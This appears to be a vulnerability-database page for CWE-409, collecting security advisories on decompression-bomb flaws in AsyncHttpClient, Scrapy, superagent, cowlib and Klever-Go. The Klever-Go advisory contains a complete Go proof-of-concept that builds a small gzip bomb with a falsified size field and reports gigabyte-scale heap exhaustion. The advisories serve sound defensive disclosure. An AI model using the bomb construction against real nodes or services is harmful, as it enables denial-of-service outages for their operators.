Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

264 vulnerabilities reference this CWE, most recent first.

GHSA-7GRG-JCF7-RPMX

Vulnerability from github – Published: 2026-09-17 17:18 – Updated: 2026-09-17 17:18
VLAI
Summary
AsyncHttpClient's unbounded HTTP/1.1 response decompression enables a decompression-bomb denial of service
Details

Impact

With automatic response decompression enabled (the default), the HTTP/1.1 path decompresses response bodies with no limit on the total output size. A hostile or compromised server, or an attacker who can change a response in transit, can send a small compressed body that inflates without bound in memory, exhausting the client's heap and causing an OutOfMemoryError. gzip, deflate and snappy are always available as vectors; brotli and zstd apply only when those optional codecs are on the classpath.

Affected versions

  • 3.x: up to and including 3.0.11
  • 2.x: up to and including 2.16.0

The HTTP/2 path carries its own limit from 3.0.11 onward. On 3.0.8, 3.0.9 and 3.0.10 the HTTP/2 decompressor is also unbounded, so on those versions switching to HTTP/2 is not a mitigation.

Patches

Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The fix counts the decompressed bytes produced for each response and fails the response once the configured maximum is exceeded, so the limit applies to the whole body rather than to any single chunk.

Workarounds

On 3.x, disable automatic decompression (setEnableAutomaticDecompression(false)) and decompress manually with your own size limit. The 2.x line has no such setting; the decompressor is installed unconditionally, so the only option there is to remove the inflater handler through httpAdditionalChannelInitializer. On either line, running the client behind a proxy that caps response sizes also works.

Details

ChannelManager.newHttpContentDecompressor() created Netty's HttpContentDecompressor without any bound, and Netty's own maxAllocation parameter limits a single decode step rather than the accumulated size of a response, so it cannot bound a decompression bomb delivered as many small chunks. The fix tracks the accumulated decompressed size per response instead.

Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.11"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.asynchttpclient:async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.16.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.asynchttpclient:async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:18:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nWith automatic response decompression enabled (the default), the HTTP/1.1 path decompresses response bodies with no limit on the total output size. A hostile or compromised server, or an attacker who can change a response in transit, can send a small compressed body that inflates without bound in memory, exhausting the client\u0027s heap and causing an OutOfMemoryError. gzip, deflate and snappy are always available as vectors; brotli and zstd apply only when those optional codecs are on the classpath.\n\n### Affected versions\n* 3.x: up to and including 3.0.11\n* 2.x: up to and including 2.16.0\n\nThe HTTP/2 path carries its own limit from 3.0.11 onward. On 3.0.8, 3.0.9 and 3.0.10 the HTTP/2 decompressor is also unbounded, so on those versions switching to HTTP/2 is not a mitigation.\n\n### Patches\nFixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The fix counts the decompressed bytes produced for each response and fails the response once the configured maximum is exceeded, so the limit applies to the whole body rather than to any single chunk.\n\n### Workarounds\nOn 3.x, disable automatic decompression (setEnableAutomaticDecompression(false)) and decompress manually with your own size limit. The 2.x line has no such setting; the decompressor is installed unconditionally, so the only option there is to remove the inflater handler through httpAdditionalChannelInitializer. On either line, running the client behind a proxy that caps response sizes also works.\n\n### Details\nChannelManager.newHttpContentDecompressor() created Netty\u0027s HttpContentDecompressor without any bound, and Netty\u0027s own maxAllocation parameter limits a single decode step rather than the accumulated size of a response, so it cannot bound a decompression bomb delivered as many small chunks. The fix tracks the accumulated decompressed size per response instead.\n\nNote that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.",
  "id": "GHSA-7grg-jcf7-rpmx",
  "modified": "2026-09-17T17:18:56Z",
  "published": "2026-09-17T17:18:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/security/advisories/GHSA-7grg-jcf7-rpmx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/commit/5ee2841cbf268bba4a200578be3938ccfc6cc6d6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/commit/663a1a91757904b22cfe37e2e6049f1f8ea6ae59"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/commit/e1871a19972fb496be1b8ac6be11d79e22ff2162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/commit/e9f2f7423e0f6503f529656f2955a1317e56ba14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AsyncHttpClient/async-http-client"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AsyncHttpClient\u0027s unbounded HTTP/1.1 response decompression enables a decompression-bomb denial of service"
}

GHSA-7J7M-V7M3-JQM7

Vulnerability from github – Published: 2024-02-16 16:07 – Updated: 2024-04-16 14:05
VLAI
Summary
Scrapy decompression bomb vulnerability
Details

Impact

Scrapy limits allowed response sizes by default through the DOWNLOAD_MAXSIZE and DOWNLOAD_WARNSIZE settings.

However, those limits were only being enforced during the download of the raw, usually-compressed response bodies, and not during decompression, making Scrapy vulnerable to decompression bombs.

A malicious website being scraped could send a small response that, on decompression, could exhaust the memory available to the Scrapy process, potentially affecting any other process sharing that memory, and affecting disk usage in case of uncompressed response caching.

Patches

Upgrade to Scrapy 2.11.1.

If you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.11.1 is not an option, you may upgrade to Scrapy 1.8.4 instead.

Workarounds

There is no easy workaround.

Disabling HTTP decompression altogether is impractical, as HTTP compression is a rather common practice.

However, it is technically possible to manually backport the 2.11.1 or 1.8.4 fix, replacing the corresponding components of an unpatched version of Scrapy with patched versions copied into your own code.

Acknowledgements

This security issue was reported by @dmandefy through huntr.com.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-16T16:07:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nScrapy limits allowed response sizes by default through the [`DOWNLOAD_MAXSIZE`](https://docs.scrapy.org/en/latest/topics/settings.html#download-maxsize) and [`DOWNLOAD_WARNSIZE`](https://docs.scrapy.org/en/latest/topics/settings.html#download-warnsize) settings.\n\nHowever, those limits were only being enforced during the download of the raw, usually-compressed response bodies, and not during decompression, making Scrapy vulnerable to [decompression bombs](https://cwe.mitre.org/data/definitions/409.html).\n\nA malicious website being scraped could send a small response that, on decompression, could exhaust the memory available to the Scrapy process, potentially affecting any other process sharing that memory, and affecting disk usage in case of uncompressed response caching.\n\n### Patches\n\nUpgrade to Scrapy 2.11.1.\n\nIf you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.11.1 is not an option, you may upgrade to Scrapy 1.8.4 instead.\n\n### Workarounds\n\nThere is no easy workaround.\n\nDisabling HTTP decompression altogether is impractical, as HTTP compression is a rather common practice.\n\nHowever, it is technically possible to manually backport the 2.11.1 or 1.8.4 fix, replacing the corresponding components of an unpatched version of Scrapy with patched versions copied into your own code.\n\n### Acknowledgements\n\nThis security issue was reported by @dmandefy  [through huntr.com](https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb/).",
  "id": "GHSA-7j7m-v7m3-jqm7",
  "modified": "2024-04-16T14:05:17Z",
  "published": "2024-02-16T16:07:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/security/advisories/GHSA-7j7m-v7m3-jqm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/71b8741e3607cfda2833c7624d4ada87071aa8e5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/809bfac4890f75fc73607318a04d2ccba71b3d9f"
    },
    {
      "type": "WEB",
      "url": "https://docs.scrapy.org/en/latest/news.html#scrapy-2-11-1-2024-02-14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scrapy/scrapy"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scrapy decompression bomb vulnerability"
}

GHSA-8225-6CVR-8PQP

Vulnerability from github – Published: 2018-08-09 20:13 – Updated: 2023-09-08 23:55
VLAI
Summary
superagent vulnerable to zip bomb attacks
Details

Affected versions of superagent do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a ZIP bomb attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.

This may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.

Recommendation

Update to version 3.7.0 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "superagent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.",
  "id": "GHSA-8225-6cvr-8pqp",
  "modified": "2023-09-08T23:55:11Z",
  "published": "2018-08-09T20:13:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/visionmedia/superagent/issues/1259"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Zip_bomb"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8225-6cvr-8pqp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/479"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "superagent vulnerable to zip bomb attacks"
}

GHSA-84F2-RP86-235P

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-19 20:12
VLAI
Summary
cowlib: Decompression Bomb in cow_spdy:inflate/2 Allows Memory Exhaustion via Crafted SPDY Frame
Details

Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.

cow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.

This issue affects cowlib from 0.1.0 before 2.16.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "cowlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:12:01Z",
    "nvd_published_at": "2026-05-13T19:17:25Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.\n\ncow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.\n\nThis issue affects cowlib from 0.1.0 before 2.16.1.",
  "id": "GHSA-84f2-rp86-235p",
  "modified": "2026-05-19T20:12:01Z",
  "published": "2026-05-13T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/commit/16aad3fb9f81f5cda4d1706ff0c54237c619c282"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-43970.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ninenines/cowlib"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-43970"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cowlib: Decompression Bomb in cow_spdy:inflate/2 Allows Memory Exhaustion via Crafted SPDY Frame"
}

GHSA-87M7-QFFR-542V

Vulnerability from github – Published: 2026-05-13 01:36 – Updated: 2026-07-21 13:53
VLAI
Summary
Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload
Details

Summary

A remote, unauthenticated denial-of-service vulnerability in Batch.Decompress (data/batch/batch.go) allows any peer that participates in a topic served by MultiDataInterceptor to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness.

The vulnerability was identified during an internal security review of core/process/interceptors/multiDataInterceptor.go at commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in GHSA-74m6-4hjp-7226. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1).

Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs.

Description

MultiDataInterceptor.ProcessReceivedMessage (core/process/interceptors/multiDataInterceptor.go:79) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via Batch.Decompress:

if b.IsCompressed {
    err = b.Decompress(mdi.marshalizer)
    if err != nil { ... return err }
}

Batch.Decompress (data/batch/batch.go:109) delegates the gzip step to decompressGzip (data/batch/batch.go:35-53), which performs an unbounded io.ReadAll on the gzip reader:

func decompressGzip(data []byte) ([]byte, error) {
    rdata := bytes.NewReader(data)
    reader, err := gzip.NewReader(rdata)
    if err != nil { return nil, err }
    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check
    ...
}

After the gzip step succeeds, Decompress re-Unmarshals the inflated bytes back into the Batch value, again with no size cap. The attacker-set ba.DataSize field is never validated on decompression, so the lie is free.

The order of operations in ProcessReceivedMessage:

preProcessMessage              -> anti-flood by COMPRESSED size only
marshalizer.Unmarshal(&b, ..)  -> outer Batch (small, cheap)
b.Decompress(...)              -> UNBOUNDED here  (bomb explodes)
... b.Data populated with N entries ...
antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)

The count-budget anti-flood check at line 111 runs after Decompress completes, so no anti-flood configuration can prevent the explosion. The only gate above Decompress is preProcessMessage's byte budget, which sees only the compressed payload size and is trivially satisfied by a sub-MB bomb.

Proof of Concept

The PoC is a self-contained Go test that exercises the real data/batch.Batch.Decompress function and the production factory.ProtoMarshalizer. No mocks. Both the attacker-side construction (marshal a Batch of millions of empty entries, gzip, wrap in an outer compressed Batch) and the receiver-side path (mrs.Unmarshal → received.Decompress(mrs)) are exactly what runs in production at the reviewed commit.

The headline test (TestC2_DecompressionBomb_ValidInner) constructs a ~48 KiB outer wire payload that decompresses to 25 million []byte entries, and samples runtime.HeapAlloc every 5 ms during Decompress to capture the peak (since the inflated buffer is freed once Decompress returns).

Test source

Place the file under playground/p2pflood/c2_decompression_bomb_test.go in a checkout of the reviewed commit, then run:

go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...
package p2pflood_test

import (
    "bytes"
    "compress/gzip"
    "runtime"
    "sync/atomic"
    "testing"
    "time"

    "github.com/klever-io/klever-go/data/batch"
    "github.com/klever-io/klever-go/tools/marshal/factory"
)

const inflatedSize = 256 << 20 // 256 MiB

// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.
// A real attacker produces this offline; the streaming form here keeps
// the test's own attacker-side allocation small.
func buildGzipOfZeros(t *testing.T, size int) []byte {
    t.Helper()
    var buf bytes.Buffer
    gz := gzip.NewWriter(&buf)
    chunk := make([]byte, 1<<20)
    for written := 0; written < size; {
        n := len(chunk)
        if size-written < n {
            n = size - written
        }
        if _, err := gz.Write(chunk[:n]); err != nil {
            t.Fatalf("gzip write: %v", err)
        }
        written += n
    }
    if err := gz.Close(); err != nil {
        t.Fatalf("gzip close: %v", err)
    }
    return buf.Bytes()
}

// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and
// returns (peak, baseline). In-flight sampling is required because
// Decompress's internal allocations may be reclaimed by GC before the
// function returns.
func peakHeapDuring(fn func()) (peak, baseline uint64) {
    runtime.GC()
    var ms runtime.MemStats
    runtime.ReadMemStats(&ms)
    baseline = ms.HeapAlloc

    var stop atomic.Bool
    peakPtr := new(atomic.Uint64)
    peakPtr.Store(baseline)
    done := make(chan struct{})
    go func() {
        ticker := time.NewTicker(5 * time.Millisecond)
        defer ticker.Stop()
        var s runtime.MemStats
        for !stop.Load() {
            runtime.ReadMemStats(&s)
            cur := s.HeapAlloc
            for {
                old := peakPtr.Load()
                if cur <= old || peakPtr.CompareAndSwap(old, cur) {
                    break
                }
            }
            <-ticker.C
        }
        close(done)
    }()

    fn()

    stop.Store(true)
    <-done
    return peakPtr.Load(), baseline
}

// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.
// All-zeros inflated payload; inner Unmarshal-after-decompress fails,
// but the gzip output buffer is already allocated.
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
    mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
    if err != nil {
        t.Fatalf("marshalizer: %v", err)
    }

    bombStream := buildGzipOfZeros(t, inflatedSize)

    bomb := &batch.Batch{
        IsCompressed: true,
        Algo:         batch.CType_GZip,
        Stream:       bombStream,
        DataSize:     1, // a lie — Decompress ignores it
    }
    wire, err := mrs.Marshal(bomb)
    if err != nil {
        t.Fatalf("marshal: %v", err)
    }

    t.Logf("  wire payload (after Marshal): %d bytes (%.2f KiB)",
        len(wire), float64(len(wire))/1024.0)
    t.Logf("  advertised DataSize:          %d", bomb.DataSize)
    t.Logf("  actual decompressed size:     %d bytes (%.2f MiB)",
        inflatedSize, float64(inflatedSize)/(1<<20))

    bomb = nil
    bombStream = nil
    runtime.GC()

    received := &batch.Batch{}
    if err := mrs.Unmarshal(received, wire); err != nil {
        t.Fatalf("receiver outer unmarshal: %v", err)
    }
    if !received.IsCompressed {
        t.Fatalf("expected IsCompressed=true after outer unmarshal")
    }

    start := time.Now()
    var decompressErr error
    peak, baseline := peakHeapDuring(func() {
        decompressErr = received.Decompress(mrs)
    })
    elapsed := time.Since(start)

    allocated := peak - baseline
    amp := float64(allocated) / float64(len(wire))
    t.Logf("  Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
    t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
        allocated, float64(allocated)/(1<<20))
    t.Logf("  elapsed: %v", elapsed)
    t.Logf("  amplification: %.0fx (wire -> heap)", amp)

    if allocated < uint64(inflatedSize/2) {
        t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
            float64(allocated)/(1<<20))
    }
    if amp < 100 {
        t.Fatalf("amplification only %.1fx — expected >>100x", amp)
    }
}

// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream
// decompresses to a valid marshaled Batch with N=25M empty entries.
// Decompress's internal Unmarshal succeeds and additionally allocates
// the [][]byte slice. All before any count-based anti-flood runs.
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
    mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
    if err != nil {
        t.Fatalf("marshalizer: %v", err)
    }

    const N = 25_000_000

    innerBatch := &batch.Batch{Data: make([][]byte, N)}
    innerWire, err := mrs.Marshal(innerBatch)
    if err != nil {
        t.Fatalf("inner marshal: %v", err)
    }
    innerBatch = nil
    runtime.GC()

    var compressed bytes.Buffer
    gz := gzip.NewWriter(&compressed)
    if _, err := gz.Write(innerWire); err != nil {
        t.Fatalf("gz write: %v", err)
    }
    if err := gz.Close(); err != nil {
        t.Fatalf("gz close: %v", err)
    }
    innerWireLen := len(innerWire)
    innerWire = nil
    runtime.GC()

    bomb := &batch.Batch{
        IsCompressed: true,
        Algo:         batch.CType_GZip,
        Stream:       compressed.Bytes(),
        DataSize:     1,
    }
    wire, err := mrs.Marshal(bomb)
    if err != nil {
        t.Fatalf("outer marshal: %v", err)
    }
    t.Logf("  inner wire (uncompressed):    %d bytes (%.2f MiB)",
        innerWireLen, float64(innerWireLen)/(1<<20))
    t.Logf("  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)",
        len(wire), float64(len(wire))/1024.0)
    t.Logf("  inner -> outer compression:   %.0fx",
        float64(innerWireLen)/float64(len(wire)))

    bomb = nil
    compressed.Reset()
    runtime.GC()

    received := &batch.Batch{}
    if err := mrs.Unmarshal(received, wire); err != nil {
        t.Fatalf("receiver outer unmarshal: %v", err)
    }

    start := time.Now()
    var decompressErr error
    peak, baseline := peakHeapDuring(func() {
        // Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
        // count-budget anti-flood at line 111.
        decompressErr = received.Decompress(mrs)
    })
    elapsed := time.Since(start)

    allocated := peak - baseline
    amp := float64(allocated) / float64(len(wire))
    t.Logf("  Decompress returned: %v", decompressErr)
    t.Logf("  Decompressed b.Data length: %d (matches N=%d? %v)",
        len(received.Data), N, len(received.Data) == N)
    t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
        allocated, float64(allocated)/(1<<20))
    t.Logf("  elapsed: %v", elapsed)
    t.Logf("  amplification: %.0fx (wire -> heap)", amp)

    if decompressErr != nil {
        t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
    }
    if len(received.Data) != N {
        t.Fatalf("inner Unmarshal lost entries: got %d want %d",
            len(received.Data), N)
    }
    if allocated < 256<<20 {
        t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
            float64(allocated)/(1<<20))
    }
    runtime.KeepAlive(received)
}

Measured output

Apple-silicon dev machine, go 1.25, against commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2:

=== RUN   TestC2_DecompressionBomb_RawZeros
      wire payload (after Marshal): 260938 bytes (254.82 KiB)
      advertised DataSize:          1
      actual decompressed size:     268435456 bytes (256.00 MiB)
      Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)
      peak heap during Decompress: +887994584 bytes (846.86 MiB)
      elapsed: 155.79ms
      amplification: 3403x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)

=== RUN   TestC2_DecompressionBomb_ValidInner
      inner wire (uncompressed):    50000000 bytes (47.68 MiB)
      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)
      inner -> outer compression:   1028x
      Decompress returned: <nil>
      Decompressed b.Data length: 25000000 (matches N=25000000? true)
      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)
      elapsed: 582.92ms
      amplification: 45604x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)

Reproduction: any commit that includes data/batch/batch.go in its current decompressGzip/Decompress form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in Batch.Decompress itself; any caller that reaches it pays for the unbounded allocation.

The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under playground/p2pflood/ on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork.

Impact

A single connected peer publishing on a topic served by MultiDataInterceptor (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet.

With the default deployed configuration (peerMaxInput.totalSizePerInterval: 4194304 = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (baseMessagesPerInterval: 140 per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed.

Realistic attack scenarios:

  • A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes).
  • A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness.
  • Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer.

Affected Code

  • data/batch/batch.go:35-53 — decompressGzip, unbounded io.ReadAll
  • data/batch/batch.go:109-137 — Batch.Decompress, ignores DataSize, re-Unmarshals inflated bytes
  • core/process/interceptors/multiDataInterceptor.go:95-102 — call site
  • core/process/interceptors/multiDataInterceptor.go:84-94 — preceding Unmarshal step

Patches

A patch is in preparation on a private branch and will land in rc2, together with the fix for GHSA-74m6-4hjp-7226. The intended fix shape:

const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic

func decompressGzip(data []byte, max int64) ([]byte, error) {
    r, err := gzip.NewReader(bytes.NewReader(data))
    if err != nil { return nil, err }
    defer r.Close()
    lr := io.LimitReader(r, max+1)
    out, err := io.ReadAll(lr)
    if err != nil { return nil, err }
    if int64(len(out)) > max {
        return nil, ErrDecompressionTooLarge
    }
    return out, nil
}

func (ba *Batch) Decompress(m marshal.Marshalizer) error {
    if !ba.IsCompressed { return common.ErrNotCompressed }
    if ba.DataSize > maxInflatedBatch {
        return ErrDecompressionTooLarge
    }
    result, err := decompressGzip(ba.Stream, maxInflatedBatch)
    if err != nil { return err }
    if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {
        return ErrDecompressedSizeMismatch
    }
    if err := m.Unmarshal(ba, result); err != nil { return err }
    ba.Stream, ba.IsCompressed = nil, false
    return nil
}

The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack.

A regression test based on the PoC will accompany the patch.

Workarounds

None at the configuration level. The peerMaxInput.totalSizePerInterval budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required.

Bundled Hardening (no separate CVE)

The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed defaultMaxMessagesPerSec: 35000 per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency.

Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)

multiDataInterceptor.go:123 performs:

listInterceptedData := make([]process.InterceptedData, len(multiDataBuff))

len(multiDataBuff) is len(b.Data) after Unmarshal and Decompress, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps len(b.Data) immediately after Unmarshal, again after Decompress, and before the make.

The unconditional component of this finding — that Decompress's internal Unmarshal populates b.Data with N []byte slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC.

